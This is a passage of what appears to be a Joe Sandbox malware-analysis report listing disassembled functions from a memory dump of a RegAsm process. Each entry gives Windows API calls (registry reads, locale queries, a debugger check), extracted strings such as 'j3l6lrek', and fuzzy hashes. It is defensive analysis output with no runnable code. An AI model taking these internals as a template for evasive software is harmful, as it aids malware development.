GetFileAttributesExW.KERNEL32(004402E5,00000000,?), ref: 00540C5D
GetLastError.KERNEL32 ref: 00540C67
FindFirstFileW.KERNEL32(004402E5,?), ref: 00540C7E
GetLastError.KERNEL32 ref: 00540C89
FindClose.KERNEL32(00000000), ref: 00540C95
___std_fs_open_handle@16.LIBCPMT ref: 00540D4E

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: d42f15c2a6db202036fe90f2e2bfb0e91550acdf50c4596346993b15bfd7011d
Instruction ID: bfde1ae52456f9e6c0c085fc838473772376a4ef83dbbe3e466fae3f673f95ae
Opcode Fuzzy Hash: d42f15c2a6db202036fe90f2e2bfb0e91550acdf50c4596346993b15bfd7011d
Instruction Fuzzy Hash: DE71C374A006199FCB24CF68CC887EABBB8BF05314F245655E954E73C0DB70AD54CB90

Function 0042CD30 Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 551COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042CE1E
__aulldiv.LIBCMT ref: 0042CEA0

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 0042CFAE

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,00000000,eks,?), ref: 0042D395

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

__aulldiv.LIBCMT ref: 0042D21D

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

__aulldiv.LIBCMT ref: 0042D517

Strings

eks, xrefs: 0042D268, 0042D297
j3l6lrek, xrefs: 0042D326, 0042D355

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExclusiveLock$AcquireRelease$ByteCharConditionMultiVariableWakeWide
String ID: eks$j3l6lrek
API String ID: 2311560058-388657971
Opcode ID: 8feddab14943ba2238e5b3f60ad021b99c509642e214ad0081a2874d79b4a372
Instruction ID: b9a5263e44b82adc045101ba0b6c32400df791e33e35f1095627f659d2a67081
Opcode Fuzzy Hash: 8feddab14943ba2238e5b3f60ad021b99c509642e214ad0081a2874d79b4a372
Instruction Fuzzy Hash: FC324AB0E002289FDB24DF64CC85BEEBBB1BB88304F1481A9E509A7391D7746E85CF55

Function 004242B0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00424313

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00424358
__aulldiv.LIBCMT ref: 004244C9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000006C,00000000,00000006,00000000,?,00007204,00000000), ref: 004244EF
RegCloseKey.ADVAPI32(?), ref: 00424542

Strings

eks, xrefs: 00424559, 00424588
j3l6lrek, xrefs: 00424617, 00424646

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 0d516149180639dba183b879ff75fd14149ff63fd82076b2011cbb26f5be71e7
Instruction ID: f64e4da3440ba63382d20b7a685eaee97a8b5d5cc3952515dd790aa8aed8898d
Opcode Fuzzy Hash: 0d516149180639dba183b879ff75fd14149ff63fd82076b2011cbb26f5be71e7
Instruction Fuzzy Hash: 4DC16A70E002189FEB14CFA8DC45BAEBBB5FF88304F14819AE509A7351DB386A85CF55

Function 004213A0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000006C,00000000,00000006,00000000,?,00007204,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

eks, xrefs: 00421649, 00421678
j3l6lrek, xrefs: 00421707, 00421736

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: ccf6f0685d5251b39cafdae76045f775e003410bc15fb4286a22e6444a4aff5f
Instruction ID: c3e0e2e5edb216e265723f79b698052de39ed1b03c0d0a1fe90e6464b85d2cf4
Opcode Fuzzy Hash: ccf6f0685d5251b39cafdae76045f775e003410bc15fb4286a22e6444a4aff5f
Instruction Fuzzy Hash: 39C16B70E002189FDB14DFA8DC85BAEBBB5BF98304F14809AE509B7351DB386A85CF55

Function 00442040 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004421D4
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,0000006C,00000000,00000006,00000000,00007204,00000000), ref: 004421FA
GetLastError.KERNEL32(?,00007204,00000000), ref: 004423BE
GetLastError.KERNEL32(?,00007204,00000000), ref: 00442694

Strings

eks, xrefs: 0044227C, 004422AB, 004423D8, 00442407
j3l6lrek, xrefs: 0044233A, 00442369, 00442496, 004424C5

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__aulldiv$AllocGlobal
String ID: eks$j3l6lrek
API String ID: 2907542317-388657971
Opcode ID: 8848cab9336afd09b117d913904a01e0feee00da22e3e75027ef9df602fc6920
Instruction ID: b908b1e2b7e2f8715ab918669380fb81af328023573f530a01aa48be9c7a6ee4
Opcode Fuzzy Hash: 8848cab9336afd09b117d913904a01e0feee00da22e3e75027ef9df602fc6920
Instruction Fuzzy Hash: A4126BB1D002189FEB24DFA4CC81BEEBBB5BB54304F1481AAE509A7381D7785E85CF65

Function 0056814D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 005681DF

Strings

Bad dynamic_cast!, xrefs: 00568221

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: d86ae3dd5aeb925718ee6c9ac54d05f77b9eb25e14ef4792fe3439a954a60bfe
Instruction ID: f146ca5d3d56f94fe1b52950c3b35d0511b8c11295512a48165481c512f17015
Opcode Fuzzy Hash: d86ae3dd5aeb925718ee6c9ac54d05f77b9eb25e14ef4792fe3439a954a60bfe
Instruction Fuzzy Hash: E0512772A002099FCB14DF68DC85ABABFA5FF85320F048669F91597241EB31E951C790

Function 00561B1D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00561E2F,00000002,00000000,?,?,?,00561E2F,?,00000000), ref: 00561BB6
GetLocaleInfoW.KERNEL32(?,20001004,00561E2F,00000002,00000000,?,?,?,00561E2F,?,00000000), ref: 00561BDF
GetACP.KERNEL32(?,?,00561E2F,?,00000000), ref: 00561BF4

Strings

OCP, xrefs: 00561B71
ACP, xrefs: 00561B3B

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction ID: ac0602bb11e32be3edc603993578c8309fc594ee86efc4c548f00ab4639d5d97
Opcode Fuzzy Hash: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction Fuzzy Hash: 3B21A432700901EADB34CF68C901AB77EA6FF50B51B1E8824E94AC7224FB32DD40D358

Function 0042D550 Relevance: 8.0, APIs: 5, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042D6E2

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042D8E0

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: ea1989a4d46ec05bb51da7cf0eb91362cf22dad0fffb2fee11f5920c2f6ba213
Instruction ID: 7869d32b460ebc7cdc22e425d10882c7116907694b1cd1cebc4d705b7a90f4f1
Opcode Fuzzy Hash: ea1989a4d46ec05bb51da7cf0eb91362cf22dad0fffb2fee11f5920c2f6ba213
Instruction Fuzzy Hash: 3D127EB1E002199BEB14DF65DC41FEEBBB5BF88304F1481A9E90DA7381DA346D848F64

Function 00561CF9 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00561E01
IsValidCodePage.KERNEL32(00000000), ref: 00561E3F
IsValidLocale.KERNEL32(?,00000001), ref: 00561E52
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00561E9A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00561EB5

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: cb992cdf3f8fd3fd89643d1bcb3035ef3a646b6e406d482f5c8cbad8f06f9f81
Instruction ID: 7c2eac804c4430cfe4f0724e4971b73ff4ab93d831e04e1f8f84423746dd5321
Opcode Fuzzy Hash: cb992cdf3f8fd3fd89643d1bcb3035ef3a646b6e406d482f5c8cbad8f06f9f81
Instruction Fuzzy Hash: A6517071A00A0AAFEB10DFA5CC45ABE7FB8BF44741F184429E911E7191EBB1DE04DB64

Function 00441450 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

__aulldiv.LIBCMT ref: 00441761

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

Strings

.YL, xrefs: 0044154B
eks, xrefs: 004417BB, 004417EA
j3l6lrek, xrefs: 00441879, 004418A8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: .YL$eks$j3l6lrek
API String ID: 2808616827-1469695805
Opcode ID: c09afa4e36cc276775bc6a6b90d892f09333de593fa73abf246d35affa2c5e5f
Instruction ID: 1dfc86e4df75de06675de4dfcb553c145c641f1f0589f50b9fc86b39133f20b3
Opcode Fuzzy Hash: c09afa4e36cc276775bc6a6b90d892f09333de593fa73abf246d35affa2c5e5f
Instruction Fuzzy Hash: C2E15870D002589FDF14DFA9C881BEEBBB1BF89304F1481AAE409A7355DB346A85CF65

Function 00561384 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetACP.KERNEL32(?,?,?,?,?,?,00557146,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00561443
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00557146,?,?,?,00000055,?,-00000050,?,?), ref: 0056147A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005615DD

Strings

utf8, xrefs: 0056154C

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 4ee5659651ac21a2ca4a39b9ea5e52c3f749286fb6940b401a1d7ab7339e1177
Instruction ID: c809f0b5f34391d786d90de6cb37624487c25301cc597b95936672e27f402294
Opcode Fuzzy Hash: 4ee5659651ac21a2ca4a39b9ea5e52c3f749286fb6940b401a1d7ab7339e1177
Instruction Fuzzy Hash: E9710F31600606AADB24AB74CC4AB7B7FA8FF94715F18442AF907D7181FB70E944CB65

Function 00553060 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f959f1da38ed2f9986746f49288b210d47e6c2c678680baf0bed5e33b54e218c
Instruction ID: 39217c998c215973b06a205bb3275cc9e64d0a0fdb27fb7393997cc8cb1b82fd
Opcode Fuzzy Hash: f959f1da38ed2f9986746f49288b210d47e6c2c678680baf0bed5e33b54e218c
Instruction Fuzzy Hash: AA024B71E002199BDF14CFA8C8946AEFBB1FF48355F25826AE919E7341D731AA05CB90

Function 004210E0 Relevance: 6.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: afb678695fe2626d17a41636466b5bf55445da89e8e5f272043106f9d1415035
Instruction ID: 681b25789804df5bf038b9de7ff3fcab1a3ce91c8aa9245dc763a997d7114519
Opcode Fuzzy Hash: afb678695fe2626d17a41636466b5bf55445da89e8e5f272043106f9d1415035
Instruction Fuzzy Hash: 129186B1E00208AFEB14DFA4DC45FAEB7B9FB98714F208119F509BB395D77469018B64

Function 0054097F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 00540993
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 005409BA

Strings

!x-sys-default-locale, xrefs: 0054098E

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction ID: 8d4cbf5873b96c77c625bd0d6fc20d43c516e9a364485e6a73c446f4f1731004
Opcode Fuzzy Hash: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction Fuzzy Hash: 78F01C76610115FFFB049B95DD0ADEB7AACEB49754B104019BA85D7181E2B0AE009B71

Function 005617A1 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005617F5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0056183F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561905

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 98c1c78a51e40f53b43df80a26c76184a2288b83b23f29dbaabc1b54672be042
Instruction ID: 3cf6142395731fc5197b1a65d4b5c998acdebf956cec8511861fd75fe303dad4
Opcode Fuzzy Hash: 98c1c78a51e40f53b43df80a26c76184a2288b83b23f29dbaabc1b54672be042
Instruction Fuzzy Hash: 3961B371A00A079FEB289F29CD96B7ABBA8FF04340F18417AE905C7581EB34D990DB54

Function 00553F50 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,-000D4670), ref: 00554048
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,-000D4670), ref: 00554052
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,-000D4670), ref: 0055405F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9a018ef6bc7f006d2d5b9871a2d5a14fba6324950fd96809d316f4df3e492099
Instruction ID: 8c1da6d661530ea65bfc64222bb80c4687db49c10c00c34f31471a7984900279
Opcode Fuzzy Hash: 9a018ef6bc7f006d2d5b9871a2d5a14fba6324950fd96809d316f4df3e492099
Instruction Fuzzy Hash: 3231D574901219EBCB21DF68DC8978DBBB8BF08310F5041EAE80CA7250E7709F858F45

Function 005411AA Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,0056B62D,000000FF,?,00540E73,?,?,?,?,0042C58B), ref: 005411E2
GetSystemTimeAsFileTime.KERNEL32(?,06EF857F,?,?,0056B62D,000000FF,?,00540E73,?,?,?,?,0042C58B), ref: 005411E6

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 850b244be9330455070c7c95e6e1f44686bbb3683d6c16daeefd466b2ade5015
Instruction ID: 1d1c1fceb76d9d190066f23a5dd1edd53f9762c7e73015617f436986100a54f6
Opcode Fuzzy Hash: 850b244be9330455070c7c95e6e1f44686bbb3683d6c16daeefd466b2ade5015
Instruction Fuzzy Hash: 7DF06576A44A54EFDB119F84EC04BA9BFACFB08B24F10422AED12A3790D7756904DB94

Function 005619F4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561A48

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d4bf8b87779ee4a49dac7a6414849e647d6ec02b1d7de7ec2e23676d7e6d038a
Instruction ID: 00bbec954478776d6aae6147aef87565833539b62a4ada00bb18cb15caff3ccd
Opcode Fuzzy Hash: d4bf8b87779ee4a49dac7a6414849e647d6ec02b1d7de7ec2e23676d7e6d038a
Instruction Fuzzy Hash: 9721B032A1160BABEB289AA5DC46A7A7BA8FF44315F18007AFD01D7141EB34AD04DB94

Function 0056167B Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

EnumSystemLocalesW.KERNEL32(005617A1,00000001,00000000,?,-00000050,?,00561DD5,00000000,?,?,?,00000055,?), ref: 005616ED

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9e6f41c6f6a51c4027f1b0987127f33ddf779c9cac4b4907dde3582f215ace8f
Instruction ID: 5724f1276dc2eb662b9cd21917c4f90eef335305757dd2544c5b5c39adf4f7ec
Opcode Fuzzy Hash: 9e6f41c6f6a51c4027f1b0987127f33ddf779c9cac4b4907dde3582f215ace8f
Instruction Fuzzy Hash: 5E11253A200B055FDB189F39D8915BABBA2FF80319B1D452DE9878BA40E771B902CB44

Function 00561C23 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00561A9E,00000000,00000000,?), ref: 00561C4F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 88ae0258e559f39c4d20f6113780a9af660f7ba46f3c45625da2f5fc5e220631
Instruction ID: 7391af231ed9e093bbae69debdf2f86081efc46b693b84796f97f0a347e48551
Opcode Fuzzy Hash: 88ae0258e559f39c4d20f6113780a9af660f7ba46f3c45625da2f5fc5e220631
Instruction Fuzzy Hash: F7014432640512BBEB285B648C4AAFE3F68FF80314F184829EC53A3180EE30FD41C694

Function 00561589 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005615DD

Strings

utf8, xrefs: 0056154C

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 14b9cfc4c0850ad9dc22ede66f3d71710ba977e38f88807faef7c83f713d0b0a
Instruction ID: 6aac391f8e9d92416e8cb25d503323fe919d61c2e0571f8dc6cdc012c29e4cf6
Opcode Fuzzy Hash: 14b9cfc4c0850ad9dc22ede66f3d71710ba977e38f88807faef7c83f713d0b0a
Instruction Fuzzy Hash: 7BF0A936610109ABD714AB64DC5A9BE779CEF95315F14007AF903E7241EB74AD088754

Function 00561716 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

EnumSystemLocalesW.KERNEL32(005619F4,00000001,?,?,-00000050,?,00561D9D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00561760

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f693f9a1588c8c9abfbdc07d998803042557e92fcfe90badde04c8c820da7b70
Instruction ID: e8547f3755186ca97dfff79763028264b39a2728f055ad97e727170e873a36bc
Opcode Fuzzy Hash: f693f9a1588c8c9abfbdc07d998803042557e92fcfe90badde04c8c820da7b70
Instruction Fuzzy Hash: 2AF046362007042FDB245F39D885A7A7F91FFC03A8F08402DF9418B690C6B2AC02CB54

Function 0055B835 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559D11: EnterCriticalSection.KERNEL32(-00173DB0,?,00555BC2,00000000,005898B0,0000000C,00555B8A,?,?,0055D3C9,?,?,0055B39F,00000001,00000364,0041C3C8), ref: 00559D20

EnumSystemLocalesW.KERNEL32(0055B828,00000001,00589B70,0000000C,0055BC00,00000000), ref: 0055B86D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
